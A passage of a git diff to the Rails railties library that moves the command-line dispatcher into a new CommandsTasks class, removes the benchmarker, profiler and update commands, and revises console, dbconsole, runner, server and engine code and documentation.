-when 'server'
- # Change to the application's path if there is no config.ru file in current dir.
- # This allows us to run script/rails server from other directories, but still get
- # the main config.ru and properly set the tmp directory.
- Dir.chdir(File.expand_path('../../', APP_PATH)) unless File.exists?(File.expand_path("config.ru"))
-
- require 'rails/commands/server'
- Rails::Server.new.tap { |server|
- # We need to require application after the server sets environment,
- # otherwise the --environment option given to the server won't propagate.
- require APP_PATH
- Dir.chdir(Rails.application.root)
- server.start
- }
-
-when 'dbconsole'
- require 'rails/commands/dbconsole'
- Rails::DBConsole.start
-
-when 'application', 'runner'
- require "rails/commands/#{command}"
-
-when 'new'
- if %w(-h --help).include?(ARGV.first)
- require 'rails/commands/application'
- else
- puts "Can't initialize a new Rails application within the directory of another, please change to a non-Rails directory first.\n"
- puts "Type 'rails' for help."
- exit(1)
- end
-
-when '--version', '-v'
- ARGV.unshift '--version'
- require 'rails/commands/application'
-
-when '-h', '--help'
- puts help_message
+require 'rails/commands/commands_tasks'
-else
- puts "Error: Command '#{command}' not recognized"
- if %x{rake #{command} --dry-run 2>&1 } && $?.success?
- puts "Did you mean: `$ rake #{command}` ?\n\n"
- end
- puts help_message
- exit(1)
-end
+Rails::CommandsTasks.new(ARGV).run_command!(command)
diff --git a/railties/lib/rails/commands/application.rb b/railties/lib/rails/commands/application.rb
index ff0eda3413..c998e6b6a8 100644
--- a/railties/lib/rails/commands/application.rb
+++ b/railties/lib/rails/commands/application.rb
@@ -1,24 +1,3 @@
-require 'rails/version'
-
-if ['--version', '-v'].include?(ARGV.first)
- puts "Rails #{Rails::VERSION::STRING}"
- exit(0)
-end
-
-if ARGV.first != "new"
- ARGV[0] = "--help"
-else
- ARGV.shift
- railsrc = File.join(File.expand_path("~"), ".railsrc")
- if File.exist?(railsrc)
- extra_args_string = File.open(railsrc).read
- extra_args = extra_args_string.split(/\n+/).map {|l| l.split}.flatten
- puts "Using #{extra_args.join(" ")} from #{railsrc}"
- ARGV << extra_args
- ARGV.flatten!
- end
-end
-
require 'rails/generators'
require 'rails/generators/rails/app/app_generator'
@@ -34,4 +13,5 @@ module Rails
end
end
-Rails::Generators::AppGenerator.start
+args = Rails::Generators::ARGVScrubber.new(ARGV).prepare!
+Rails::Generators::AppGenerator.start args
diff --git a/railties/lib/rails/commands/benchmarker.rb b/railties/lib/rails/commands/benchmarker.rb
deleted file mode 100644
index b745b45e17..0000000000
--- a/railties/lib/rails/commands/benchmarker.rb
+++ /dev/null
@@ -1,34 +0,0 @@
-require 'optparse'
-require 'rails/test_help'
-require 'rails/performance_test_help'
-
-ARGV.push('--benchmark') # HAX
-require 'active_support/testing/performance'
-ARGV.pop
-
-def options
- options = {}
- defaults = ActiveSupport::Testing::Performance::DEFAULTS
-
- OptionParser.new do |opt|
- opt.banner = "Usage: rails benchmarker 'Ruby.code' 'Ruby.more_code' ... [OPTS]"
- opt.on('-r', '--runs N', Numeric, 'Number of runs.', "Default: #{defaults[:runs]}") { |r| options[:runs] = r }
- opt.on('-o', '--output PATH', String, 'Directory to use when writing the results.', "Default: #{defaults[:output]}") { |o| options[:output] = o }
- opt.on('-m', '--metrics a,b,c', Array, 'Metrics to use.', "Default: #{defaults[:metrics].join(",")}") { |m| options[:metrics] = m.map(&:to_sym) }
- opt.parse!(ARGV)
- end
-
- options
-end
-
-class BenchmarkerTest < ActionDispatch::PerformanceTest #:nodoc:
- self.profile_options = options
-
- ARGV.each do |expression|
- eval <<-RUBY
- def test_#{expression.parameterize('_')}
- #{expression}
- end
- RUBY
- end
-end
diff --git a/railties/lib/rails/commands/commands_tasks.rb b/railties/lib/rails/commands/commands_tasks.rb
new file mode 100644
index 0000000000..8bae08e44e
--- /dev/null
+++ b/railties/lib/rails/commands/commands_tasks.rb
@@ -0,0 +1,169 @@
+module Rails
+ # This is a class which takes in a rails command and initiates the appropriate
+ # initiation sequence.
+ #
+ # Warning: This class mutates ARGV because some commands require manipulating
+ # it before they are run.
+ class CommandsTasks # :nodoc:
+ attr_reader :argv
+
+ HELP_MESSAGE = <<-EOT
+Usage: rails COMMAND [ARGS]
+
+The most common rails commands are:
+ generate Generate new code (short-cut alias: "g")
+ console Start the Rails console (short-cut alias: "c")
+ server Start the Rails server (short-cut alias: "s")
+ dbconsole Start a console for the database specified in config/database.yml
+ (short-cut alias: "db")
+ new Create a new Rails application. "rails new my_app" creates a
+ new application called MyApp in "./my_app"
+
+In addition to those, there are:
+ destroy Undo code generated with "generate" (short-cut alias: "d")
+ plugin new Generates skeleton for developing a Rails plugin
+ runner Run a piece of code in the application environment (short-cut alias: "r")
+
+All commands can be run with -h (or --help) for more information.
+EOT
+
+ COMMAND_WHITELIST = %w(plugin generate destroy console server dbconsole runner new version help)
+
+ def initialize(argv)
+ @argv = argv
+ end
+
+ def run_command!(command)
+ command = parse_command(command)
+ if COMMAND_WHITELIST.include?(command)
+ send(command)
+ else
+ write_error_message(command)
+ end
+ end
+
+ def plugin
+ require_command!("plugin")
+ end
+
+ def generate
+ generate_or_destroy(:generate)
+ end
+
+ def destroy
+ generate_or_destroy(:destroy)
+ end
+
+ def console
+ require_command!("console")
+ options = Rails::Console.parse_arguments(argv)
+
+ # RAILS_ENV needs to be set before config/application is required
+ ENV['RAILS_ENV'] = options[:environment] if options[:environment]
+
+ # shift ARGV so IRB doesn't freak
+ shift_argv!
+
+ require_application_and_environment!
+ Rails::Console.start(Rails.application, options)
+ end
+
+ def server
+ set_application_directory!
+ require_command!("server")
+
+ Rails::Server.new.tap do |server|
+ # We need to require application after the server sets environment,
+ # otherwise the --environment option given to the server won't propagate.
+ require APP_PATH
+ Dir.chdir(Rails.application.root)
+ server.start
+ end
+ end
+
+ def dbconsole
+ require_command!("dbconsole")
+ Rails::DBConsole.start
+ end
+
+ def runner
+ require_command!("runner")
+ end
+
+ def new
+ if %w(-h --help).include?(argv.first)
+ require_command!("application")
+ else
+ exit_with_initialization_warning!
+ end
+ end
+
+ def version
+ argv.unshift '--version'
+ require_command!("application")
+ end
+
+ def help
+ write_help_message
+ end
+
+ private
+
+ def exit_with_initialization_warning!
+ puts "Can't initialize a new Rails application within the directory of another, please change to a non-Rails directory first.\n"
+ puts "Type 'rails' for help."
+ exit(1)
+ end
+
+ def shift_argv!
+ argv.shift if argv.first && argv.first[0] != '-'
+ end
+
+ def require_command!(command)
+ require "rails/commands/#{command}"
+ end
+
+ def generate_or_destroy(command)
+ require 'rails/generators'
+ require_application_and_environment!
+ Rails.application.load_generators
+ require_command!(command)
+ end
+
+ # Change to the application's path if there is no config.ru file in current directory.
+ # This allows us to run `rails server` from other directories, but still get
+ # the main config.ru and properly set the tmp directory.
+ def set_application_directory!
+ Dir.chdir(File.expand_path('../../', APP_PATH)) unless File.exist?(File.expand_path("config.ru"))
+ end
+
+ def require_application_and_environment!
+ require APP_PATH
+ Rails.application.require_environment!
+ end
+
+ def write_help_message
+ puts HELP_MESSAGE
+ end
+
+ def write_error_message(command)
+ puts "Error: Command '#{command}' not recognized"
+ if %x{rake #{command} --dry-run 2>&1 } && $?.success?
+ puts "Did you mean: `$ rake #{command}` ?\n\n"
+ end
+ write_help_message
+ exit(1)
+ end
+
+ def parse_command(command)
+ case command
+ when '--version', '-v'
+ 'version'
+ when '--help', '-h'
+ 'help'
+ else
+ command
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/commands/console.rb b/railties/lib/rails/commands/console.rb
index aef7600fbd..96ced3c2f9 100644
--- a/railties/lib/rails/commands/console.rb
+++ b/railties/lib/rails/commands/console.rb
@@ -18,17 +18,34 @@ module Rails
opt.on("-e", "--environment=name", String,
"Specifies the environment to run this console under (test/development/production).",
"Default: development") { |v| options[:environment] = v.strip }
- opt.on("--debugger", 'Enable the debugger.') { |v| options[:debugger] = v }
+ opt.on("--debugger", 'Enables the debugger.') do |v|
+ if RUBY_VERSION < '2.0.0'
+ options[:debugger] = v
+ else
+ puts "=> Notice: debugger option is ignored since Ruby 2.0 and " \
+ "it will be removed in future versions."
+ end
+ end
opt.parse!(arguments)
end
if arguments.first && arguments.first[0] != '-'
env = arguments.first
- options[:environment] = %w(production development test).detect {|e| e =~ /^#{env}/} || env
+ if available_environments.include? env
+ options[:environment] = env
+ else
+ options[:environment] = %w(production development test).detect {|e| e =~ /^#{env}/} || env
+ end
end
options
end
+
+ private
+
+ def available_environments
+ Dir['config/environments/*.rb'].map { |fname| File.basename(fname, '.*') }
+ end
end
attr_reader :options, :app, :console
@@ -36,7 +53,10 @@ module Rails
def initialize(app, options={})
@app = app
@options = options
+
+ app.sandbox = sandbox?
app.load_console
+
@console = app.config.console || IRB
end
@@ -56,13 +76,25 @@ module Rails
Rails.env = environment
end
- def debugger?
- options[:debugger]
+ if RUBY_VERSION < '2.0.0'
+ def debugger?
+ options[:debugger]
+ end
+
+ def require_debugger
+ require 'debugger'
+ puts "=> Debugger enabled"
+ rescue LoadError
+ puts "You're missing the 'debugger' gem. Add it to your Gemfile, bundle it and try again."
+ exit(1)
+ end
end
def start
- app.sandbox = sandbox?
- require_debugger if debugger?
+ if RUBY_VERSION < '2.0.0'
+ require_debugger if debugger?
+ end
+
set_environment! if environment?
if sandbox?
@@ -77,15 +109,5 @@ module Rails
end
console.start
end
-
- def require_debugger
- begin
- require 'debugger'
- puts "=> Debugger enabled"
- rescue Exception
- puts "You're missing the 'debugger' gem. Add it to your Gemfile, bundle, and try again."
- exit
- end
- end
end
end
diff --git a/railties/lib/rails/commands/dbconsole.rb b/railties/lib/rails/commands/dbconsole.rb
index 4a5674236d..9014560611 100644
--- a/railties/lib/rails/commands/dbconsole.rb
+++ b/railties/lib/rails/commands/dbconsole.rb
@@ -20,7 +20,7 @@ module Rails
ENV['RAILS_ENV'] = options[:environment] || environment
case config["adapter"]
- when /^mysql/
+ when /^(jdbc)?mysql/
args = {
'host' => '--host',
'port' => '--port',
@@ -44,7 +44,7 @@ module Rails
find_cmd_and_exec(['mysql', 'mysql5'], *args)
- when "postgresql", "postgres"
+ when /^postgres|^postgis/
ENV['PGUSER'] = config["username"] if config["username"]
ENV['PGHOST'] = config["host"] if config["host"]
ENV['PGPORT'] = config["port"].to_s if config["port"]
@@ -74,6 +74,21 @@ module Rails
find_cmd_and_exec('sqlplus', logon)
+ when "sqlserver"
+ args = []
+
+ args += ["-D", "#{config['database']}"] if config['database']
+ args += ["-U", "#{config['username']}"] if config['username']
+ args += ["-P", "#{config['password']}"] if config['password']
+
+ if config['host']
+ host_arg = "#{config['host']}"
+ host_arg << ":#{config['port']}" if config['port']
+ args += ["-S", host_arg]
+ end
+
+ find_cmd_and_exec("sqsh", *args)
+
else
abort "Unknown command-line client for #{config['database']}. Submit a Rails patch to add support!"
end
@@ -81,14 +96,11 @@ module Rails
def config
@config ||= begin
- cfg = begin
- YAML.load(ERB.new(IO.read("config/database.yml")).result)
- rescue SyntaxError, StandardError
- require APP_PATH
- Rails.application.config.database_configuration
+ if configurations[environment].blank?
+ raise ActiveRecord::AdapterNotSpecified, "'#{environment}' database is not configured. Available configuration: #{configurations.inspect}"
+ else
+ configurations[environment]
end
-
- cfg[environment] || abort("No database is configured for the environment '#{environment}'")
end
end
@@ -102,6 +114,12 @@ module Rails
protected
+ def configurations
+ require APP_PATH
+ ActiveRecord::Base.configurations = Rails.application.config.database_configuration
+ ActiveRecord::Base.configurations
+ end
+
def parse_arguments(arguments)
options = {}
@@ -136,12 +154,20 @@ module Rails
if arguments.first && arguments.first[0] != '-'
env = arguments.first
- options[:environment] = %w(production development test).detect {|e| e =~ /^#{env}/} || env
+ if available_environments.include? env
+ options[:environment] = env
+ else
+ options[:environment] = %w(production development test).detect {|e| e =~ /^#{env}/} || env
+ end
end
options
end
+ def available_environments
+ Dir['config/environments/*.rb'].map { |fname| File.basename(fname, '.*') }
+ end
+
def find_cmd_and_exec(commands, *args)
commands = Array(commands)
diff --git a/railties/lib/rails/commands/destroy.rb b/railties/lib/rails/commands/destroy.rb
index 5479da86a0..ce26cc3fde 100644
--- a/railties/lib/rails/commands/destroy.rb
+++ b/railties/lib/rails/commands/destroy.rb
@@ -1,5 +1,7 @@
require 'rails/generators'
+#if no argument/-h/--help is passed to rails destroy command, then
+#it generates the help associated.
if [nil, "-h", "--help"].include?(ARGV.first)
Rails::Generators.help 'destroy'
exit
diff --git a/railties/lib/rails/commands/generate.rb b/railties/lib/rails/commands/generate.rb
index 351c59c645..926c36b967 100644
--- a/railties/lib/rails/commands/generate.rb
+++ b/railties/lib/rails/commands/generate.rb
@@ -1,5 +1,7 @@
require 'rails/generators'
+#if no argument/-h/--help is passed to rails generate command, then
+#it generates the help associated.
if [nil, "-h", "--help"].include?(ARGV.first)
Rails::Generators.help 'generate'
exit
diff --git a/railties/lib/rails/commands/plugin.rb b/railties/lib/rails/commands/plugin.rb
new file mode 100644
index 0000000000..52d8966ead
--- /dev/null
+++ b/railties/lib/rails/commands/plugin.rb
@@ -0,0 +1,23 @@
+if ARGV.first != "new"
+ ARGV[0] = "--help"
+else
+ ARGV.shift
+ unless ARGV.delete("--no-rc")
+ customrc = ARGV.index{ |x| x.include?("--rc=") }
+ railsrc = if customrc
+ File.expand_path(ARGV.delete_at(customrc).gsub(/--rc=/, ""))
+ else
+ File.join(File.expand_path("~"), '.railsrc')
+ end
+ if File.exist?(railsrc)
+ extra_args_string = File.read(railsrc)
+ extra_args = extra_args_string.split(/\n+/).flat_map(&:split)
+ puts "Using #{extra_args.join(" ")} from #{railsrc}"
+ ARGV.insert(1, *extra_args)
+ end
+ end
+end
+
+require 'rails/generators'
+require 'rails/generators/rails/plugin/plugin_generator'
+Rails::Generators::PluginGenerator.start
diff --git a/railties/lib/rails/commands/plugin_new.rb b/railties/lib/rails/commands/plugin_new.rb
deleted file mode 100644
index 4d7bf3c9f3..0000000000
--- a/railties/lib/rails/commands/plugin_new.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-if ARGV.first != "new"
- ARGV[0] = "--help"
-else
- ARGV.shift
-end
-
-require 'rails/generators'
-require 'rails/generators/rails/plugin_new/plugin_new_generator'
-Rails::Generators::PluginNewGenerator.start \ No newline at end of file
diff --git a/railties/lib/rails/commands/profiler.rb b/railties/lib/rails/commands/profiler.rb
deleted file mode 100644
index 315bcccf61..0000000000
--- a/railties/lib/rails/commands/profiler.rb
+++ /dev/null
@@ -1,32 +0,0 @@
-require 'optparse'
-require 'rails/test_help'
-require 'rails/performance_test_help'
-require 'active_support/testing/performance'
-
-def options
- options = {}
- defaults = ActiveSupport::Testing::Performance::DEFAULTS
-
- OptionParser.new do |opt|
- opt.banner = "Usage: rails profiler 'Ruby.code' 'Ruby.more_code' ... [OPTS]"
- opt.on('-r', '--runs N', Numeric, 'Number of runs.', "Default: #{defaults[:runs]}") { |r| options[:runs] = r }
- opt.on('-o', '--output PATH', String, 'Directory to use when writing the results.', "Default: #{defaults[:output]}") { |o| options[:output] = o }
- opt.on('-m', '--metrics a,b,c', Array, 'Metrics to use.', "Default: #{defaults[:metrics].join(",")}") { |m| options[:metrics] = m.map(&:to_sym) }
- opt.on('-f', '--formats x,y,z', Array, 'Formats to output to.', "Default: #{defaults[:formats].join(",")}") { |m| options[:formats] = m.map(&:to_sym) }
- opt.parse!(ARGV)
- end
-
- options
-end
-
-class ProfilerTest < ActionDispatch::PerformanceTest #:nodoc:
- self.profile_options = options
-
- ARGV.each do |expression|
- eval <<-RUBY
- def test_#{expression.parameterize('_')}
- #{expression}
- end
- RUBY
- end
-end
diff --git a/railties/lib/rails/commands/runner.rb b/railties/lib/rails/commands/runner.rb
index 6adbdc6e0b..3a71f8d3f8 100644
--- a/railties/lib/rails/commands/runner.rb
+++ b/railties/lib/rails/commands/runner.rb
@@ -9,7 +9,7 @@ if ARGV.first.nil?
end
ARGV.clone.options do |opts|
- opts.banner = "Usage: rails runner [options] ('Some.ruby(code)' or a filename)"
+ opts.banner = "Usage: rails runner [options] [<'Some.ruby(code)'> | <filename.rb>]"
opts.separator ""
@@ -22,14 +22,23 @@ ARGV.clone.options do |opts|
opts.on("-h", "--help",
"Show this help message.") { $stdout.puts opts; exit }
+ opts.separator ""
+ opts.separator "Examples: "
+
+ opts.separator " rails runner 'puts Rails.env'"
+ opts.separator " This runs the code `puts Rails.env` after loading the app"
+ opts.separator ""
+ opts.separator " rails runner path/to/filename.rb"
+ opts.separator " This runs the Ruby file located at `path/to/filename.rb` after loading the app"
+
if RbConfig::CONFIG['host_os'] !~ /mswin|mingw/
opts.separator ""
- opts.separator "You can also use runner as a shebang line for your scripts like this:"
- opts.separator "-------------------------------------------------------------"
- opts.separator "#!/usr/bin/env #{File.expand_path($0)} runner"
+ opts.separator "You can also use runner as a shebang line for your executables:"
+ opts.separator " -------------------------------------------------------------"
+ opts.separator " #!/usr/bin/env #{File.expand_path($0)} runner"
opts.separator ""
- opts.separator "Product.all.each { |p| p.price *= 2 ; p.save! }"
- opts.separator "-------------------------------------------------------------"
+ opts.separator " Product.all.each { |p| p.price *= 2 ; p.save! }"
+ opts.separator " -------------------------------------------------------------"
end
opts.order! { |o| code_or_file ||= o } rescue retry
@@ -48,7 +57,7 @@ if code_or_file.nil?
exit 1
elsif File.exist?(code_or_file)
$0 = code_or_file
- eval(File.read(code_or_file), nil, code_or_file)
+ Kernel.load code_or_file
else
- eval(code_or_file)
+ eval(code_or_file, binding, __FILE__, __LINE__)
end
diff --git a/railties/lib/rails/commands/server.rb b/railties/lib/rails/commands/server.rb
index cdb29a8156..e39f0920af 100644
--- a/railties/lib/rails/commands/server.rb
+++ b/railties/lib/rails/commands/server.rb
@@ -1,6 +1,7 @@
require 'fileutils'
require 'optparse'
require 'action_dispatch'
+require 'rails'
module Rails
class Server < ::Rack::Server
@@ -8,32 +9,44 @@ module Rails
def parse!(args)
args, options = args.dup, {}
- opt_parser = OptionParser.new do |opts|
- opts.banner = "Usage: rails server [mongrel, thin, etc] [options]"
+ option_parser(options).parse! args
+
+ options[:log_stdout] = options[:daemonize].blank? && (options[:environment] || Rails.env) == "development"
+ options[:server] = args.shift
+ options
+ end
+
+ private
+
+ def option_parser(options)
+ OptionParser.new do |opts|
+ opts.banner = "Usage: rails server [mongrel, thin etc] [options]"
opts.on("-p", "--port=port", Integer,
"Runs Rails on the specified port.", "Default: 3000") { |v| options[:Port] = v }
- opts.on("-b", "--binding=ip", String,
- "Binds Rails to the specified ip.", "Default: 0.0.0.0") { |v| options[:Host] = v }
+ opts.on("-b", "--binding=IP", String,
+ "Binds Rails to the specified IP.", "Default: localhost") { |v| options[:Host] = v }
opts.on("-c", "--config=file", String,
- "Use custom rackup configuration file") { |v| options[:config] = v }
- opts.on("-d", "--daemon", "Make server run as a Daemon.") { options[:daemonize] = true }
- opts.on("-u", "--debugger", "Enable the debugger") { options[:debugger] = true }
+ "Uses a custom rackup configuration.") { |v| options[:config] = v }
+ opts.on("-d", "--daemon", "Runs server as a Daemon.") { options[:daemonize] = true }
+ opts.on("-u", "--debugger", "Enables the debugger.") do
+ if RUBY_VERSION < '2.0.0'
+ options[:debugger] = true
+ else
+ puts "=> Notice: debugger option is ignored since Ruby 2.0 and " \
+ "it will be removed in future versions."
+ end
+ end
opts.on("-e", "--environment=name", String,
"Specifies the environment to run this server under (test/development/production).",
"Default: development") { |v| options[:environment] = v }
- opts.on("-P","--pid=pid",String,
+ opts.on("-P", "--pid=pid", String,
"Specifies the PID file.",
"Default: tmp/pids/server.pid") { |v| options[:pid] = v }
opts.separator ""
- opts.on("-h", "--help", "Show this help message.") { puts opts; exit }
+ opts.on("-h", "--help", "Shows this help message.") { puts opts; exit }
end
-
- opt_parser.parse! args
-
- options[:server] = args.shift
- options
end
end
@@ -42,8 +55,12 @@ module Rails
set_environment
end
+ # TODO: this is no longer required but we keep it for the moment to support older config.ru files.
def app
- @app ||= super.respond_to?(:to_app) ? super.to_app : super
+ @app ||= begin
+ app = super
+ app.respond_to?(:to_app) ? app.to_app : app
+ end
end
def opt_parser
@@ -55,27 +72,10 @@ module Rails
end
def start
- url = "#{options[:SSLEnable] ? 'https' : 'http'}://#{options[:Host]}:#{options[:Port]}"
- puts "=> Booting #{ActiveSupport::Inflector.demodulize(server)}"
- puts "=> Rails #{Rails.version} application starting in #{Rails.env} on #{url}"
- puts "=> Call with -d to detach" unless options[:daemonize]
+ print_boot_information
trap(:INT) { exit }
- puts "=> Ctrl-C to shutdown server" unless options[:daemonize]
-
- #Create required tmp directories if not found
- %w(cache pids sessions sockets).each do |dir_to_make|
- FileUtils.mkdir_p(File.join(Rails.root, 'tmp', dir_to_make))
- end
-
- unless options[:daemonize]
- wrapped_app # touch the app so the logger is set up
-
- console = ActiveSupport::Logger.new($stdout)
- console.formatter = Rails.logger.formatter
- console.level = Rails.logger.level
-
- Rails.logger.extend(ActiveSupport::Logger.broadcast(console))
- end
+ create_tmp_directories
+ log_to_stdout if options[:log_stdout]
super
ensure
@@ -86,7 +86,9 @@ module Rails
def middleware
middlewares = []
- middlewares << [Rails::Rack::Debugger] if options[:debugger]
+ if RUBY_VERSION < '2.0.0'
+ middlewares << [Rails::Rack::Debugger] if options[:debugger]
+ end
middlewares << [::Rack::ContentLength]
# FIXME: add Rack::Lock in the case people are using webrick.
@@ -106,14 +108,41 @@ module Rails
def default_options
super.merge({
- Port: 3000,
- DoNotReverseLookup: true,
- environment: (ENV['RAILS_ENV'] || ENV['RACK_ENV'] || "development").dup,
- daemonize: false,
- debugger: false,
- pid: File.expand_path("tmp/pids/server.pid"),
- config: File.expand_path("config.ru")
+ Port: 3000,
+ DoNotReverseLookup: true,
+ environment: (ENV['RAILS_ENV'] || ENV['RACK_ENV'] || "development").dup,
+ daemonize: false,
+ debugger: false,
+ pid: File.expand_path("tmp/pids/server.pid"),
+ config: File.expand_path("config.ru")
})
end
+
+ private
+
+ def print_boot_information
+ url = "#{options[:SSLEnable] ? 'https' : 'http'}://#{options[:Host]}:#{options[:Port]}"
+ puts "=> Booting #{ActiveSupport::Inflector.demodulize(server)}"
+ puts "=> Rails #{Rails.version} application starting in #{Rails.env} on #{url}"
+ puts "=> Run `rails server -h` for more startup options"
+
+ puts "=> Ctrl-C to shutdown server" unless options[:daemonize]
+ end
+
+ def create_tmp_directories
+ %w(cache pids sessions sockets).each do |dir_to_make|
+ FileUtils.mkdir_p(File.join(Rails.root, 'tmp', dir_to_make))
+ end
+ end
+
+ def log_to_stdout
+ wrapped_app # touch the app so the logger is set up
+
+ console = ActiveSupport::Logger.new($stdout)
+ console.formatter = Rails.logger.formatter
+ console.level = Rails.logger.level
+
+ Rails.logger.extend(ActiveSupport::Logger.broadcast(console))
+ end
end
end
diff --git a/railties/lib/rails/commands/update.rb b/railties/lib/rails/commands/update.rb
deleted file mode 100644
index 59fae5c337..0000000000
--- a/railties/lib/rails/commands/update.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-require File.expand_path(File.join(File.dirname(__FILE__), '..', 'generators'))
-
-if ARGV.size == 0
- Rails::Generators.help
- exit
-end
-
-name = ARGV.shift
-Rails::Generators.invoke name, ARGV, behavior: :skip
diff --git a/railties/lib/rails/configuration.rb b/railties/lib/rails/configuration.rb
index 5fa7f043c6..f99cec04c5 100644
--- a/railties/lib/rails/configuration.rb
+++ b/railties/lib/rails/configuration.rb
@@ -1,4 +1,3 @@
-require 'active_support/deprecation'
require 'active_support/ordered_options'
require 'active_support/core_ext/object'
require 'rails/paths'
@@ -19,19 +18,19 @@ module Rails
# This will put the <tt>Magical::Unicorns</tt> middleware on the end of the stack.
# You can use +insert_before+ if you wish to add a middleware before another:
#
- # config.middleware.insert_before ActionDispatch::Head, Magical::Unicorns
+ # config.middleware.insert_before Rack::Head, Magical::Unicorns
#
# There's also +insert_after+ which will insert a middleware after another:
#
- # config.middleware.insert_after ActionDispatch::Head, Magical::Unicorns
+ # config.middleware.insert_after Rack::Head, Magical::Unicorns
#
# Middlewares can also be completely swapped out and replaced with others:
#
- # config.middleware.swap ActionDispatch::BestStandardsSupport, Magical::Unicorns
+ # config.middleware.swap ActionDispatch::Flash, Magical::Unicorns
#
# And finally they can also be removed from the stack completely:
#
- # config.middleware.delete ActionDispatch::BestStandardsSupport
+ # config.middleware.delete ActionDispatch::Flash
#
class MiddlewareStackProxy
def initialize
@@ -60,6 +59,10 @@ module Rails
@operations << [__method__, args, block]
end
+ def unshift(*args, &block)
+ @operations << [__method__, args, block]
+ end
+
def merge_into(other) #:nodoc:
@operations.each do |operation, args, block|
other.send(operation, *args, &block)
diff --git a/railties/lib/rails/console/helpers.rb b/railties/lib/rails/console/helpers.rb
index 230d3d9d04..b775f1ff8d 100644
--- a/railties/lib/rails/console/helpers.rb
+++ b/railties/lib/rails/console/helpers.rb
@@ -1,9 +1,15 @@
module Rails
module ConsoleMethods
+ # Gets the helper methods available to the controller.
+ #
+ # This method assumes an +ApplicationController+ exists, and it extends +ActionController::Base+
def helper
@helper ||= ApplicationController.helpers
end
+ # Gets a new instance of a controller object.
+ #
+ # This method assumes an +ApplicationController+ exists, and it extends +ActionController::Base+
def controller
@controller ||= ApplicationController.new
end
diff --git a/railties/lib/rails/engine.rb b/railties/lib/rails/engine.rb
index 725295004f..b579f70983 100644
--- a/railties/lib/rails/engine.rb
+++ b/railties/lib/rails/engine.rb
@@ -1,7 +1,7 @@
require 'rails/railtie'
+require 'rails/engine/railties'
require 'active_support/core_ext/module/delegation'
require 'pathname'
-require 'rbconfig'
module Rails
# <tt>Rails::Engine</tt> allows you to wrap a specific Rails application or subset of
@@ -101,17 +101,17 @@ module Rails
# paths["config"] # => ["config"]
# paths["config/initializers"] # => ["config/initializers"]
# paths["config/locales"] # => ["config/locales"]
- # paths["config/routes"] # => ["config/routes.rb"]
+ # paths["config/routes.rb"] # => ["config/routes.rb"]
# end
#
# The <tt>Application</tt> class adds a couple more paths to this set. And as in your
# <tt>Application</tt>, all folders under +app+ are automatically added to the load path.
- # If you have an <tt>app/services/tt> folder for example, it will be added by default.
+ # If you have an <tt>app/services</tt> folder for example, it will be added by default.
#
# == Endpoint
#
- # An engine can be also a rack application. It can be useful if you have a rack application that
- # you would like to wrap with +Engine+ and provide some of the +Engine+'s features.
+ # An engine can also be a rack application. It can be useful if you have a rack application that
+ # you would like to wrap with +Engine+ and provide with some of the +Engine+'s features.
#
# To do that, use the +endpoint+ method:
#
@@ -123,7 +123,7 @@ module Rails
#
# Now you can mount your engine in application's routes just like that:
#
- # MyRailsApp::Application.routes.draw do
+ # Rails.application.routes.draw do
# mount MyEngine::Engine => "/engine"
# end
#
@@ -153,7 +153,7 @@ module Rails
# Note that now there can be more than one router in your application, and it's better to avoid
# passing requests through many routers. Consider this situation:
#
- # MyRailsApp::Application.routes.draw do
+ # Rails.application.routes.draw do
# mount MyEngine::Engine => "/blog"
# get "/blog/omg" => "main#omg"
# end
@@ -163,7 +163,7 @@ module Rails
# and if there is no such route in +Engine+'s routes, it will be dispatched to <tt>main#omg</tt>.
# It's much better to swap that:
#
- # MyRailsApp::Application.routes.draw do
+ # Rails.application.routes.draw do
# get "/blog/omg" => "main#omg"
# mount MyEngine::Engine => "/blog"
# end
@@ -175,7 +175,7 @@ module Rails
# There are some places where an Engine's name is used:
#
# * routes: when you mount an Engine with <tt>mount(MyEngine::Engine => '/my_engine')</tt>,
- # it's used as default :as option
+ # it's used as default <tt>:as</tt> option
# * rake task for installing migrations <tt>my_engine:install:migrations</tt>
#
# Engine name is set by default based on class name. For <tt>MyEngine::Engine</tt> it will be
@@ -250,7 +250,7 @@ module Rails
# created to allow you to do that. Consider such a scenario:
#
# # config/routes.rb
- # MyApplication::Application.routes.draw do
+ # Rails.application.routes.draw do
# mount MyEngine::Engine => "/my_engine", as: "my_engine"
# get "/foo" => "foo#index"
# end
@@ -259,7 +259,7 @@ module Rails
#
# class FooController < ApplicationController
# def index
- # my_engine.root_url #=> /my_engine/
+ # my_engine.root_url # => /my_engine/
# end
# end
#
@@ -268,7 +268,7 @@ module Rails
# module MyEngine
# class BarController
# def index
- # main_app.foo_path #=> /foo
+ # main_app.foo_path # => /foo
# end
# end
# end
@@ -350,8 +350,13 @@ module Rails
Rails::Railtie::Configuration.eager_load_namespaces << base
base.called_from = begin
- # Remove the line number from backtraces making sure we don't leave anything behind
- call_stack = caller.map { |p| p.sub(/:\d+.*/, '') }
+ call_stack = if Kernel.respond_to?(:caller_locations)
+ caller_locations.map { |l| l.absolute_path || l.path }
+ else
+ # Remove the line number from backtraces making sure we don't leave anything behind
+ caller.map { |p| p.sub(/:\d+.*/, '') }
+ end
+
File.dirname(call_stack.detect { |p| p !~ %r[railties[\w.-]*/lib/rails|rack[\w.-]*/lib/rack] })
end
end
@@ -359,6 +364,10 @@ module Rails
super
end
+ def find_root(from)
+ find_root_with_flag "lib", from
+ end
+
def endpoint(endpoint = nil)
@endpoint ||= nil
@endpoint = endpoint if endpoint
@@ -366,7 +375,7 @@ module Rails
end
def isolate_namespace(mod)
- engine_name(generate_railtie_name(mod))
+ engine_name(generate_railtie_name(mod.name))
self.routes.default_scope = { module: ActiveSupport::Inflector.underscore(mod.name) }
self.isolated = true
@@ -390,7 +399,7 @@ module Rails
end
unless mod.respond_to?(:railtie_routes_url_helpers)
- define_method(:railtie_routes_url_helpers) { railtie.routes.url_helpers }
+ define_method(:railtie_routes_url_helpers) {|include_path_helpers = true| railtie.routes.url_helpers(include_path_helpers) }
end
end
end
@@ -407,10 +416,8 @@ module Rails
end
end
- self.isolated = false
-
delegate :middleware, :root, :paths, to: :config
- delegate :engine_name, :isolated?, to: "self.class"
+ delegate :engine_name, :isolated?, to: :class
def initialize
@_all_autoload_paths = nil
@@ -426,7 +433,6 @@ module Rails
# Load console and invoke the registered hooks.
# Check <tt>Rails::Railtie.console</tt> for more info.
def load_console(app=self)
- require "pp"
require "rails/console/app"
require "rails/console/helpers"
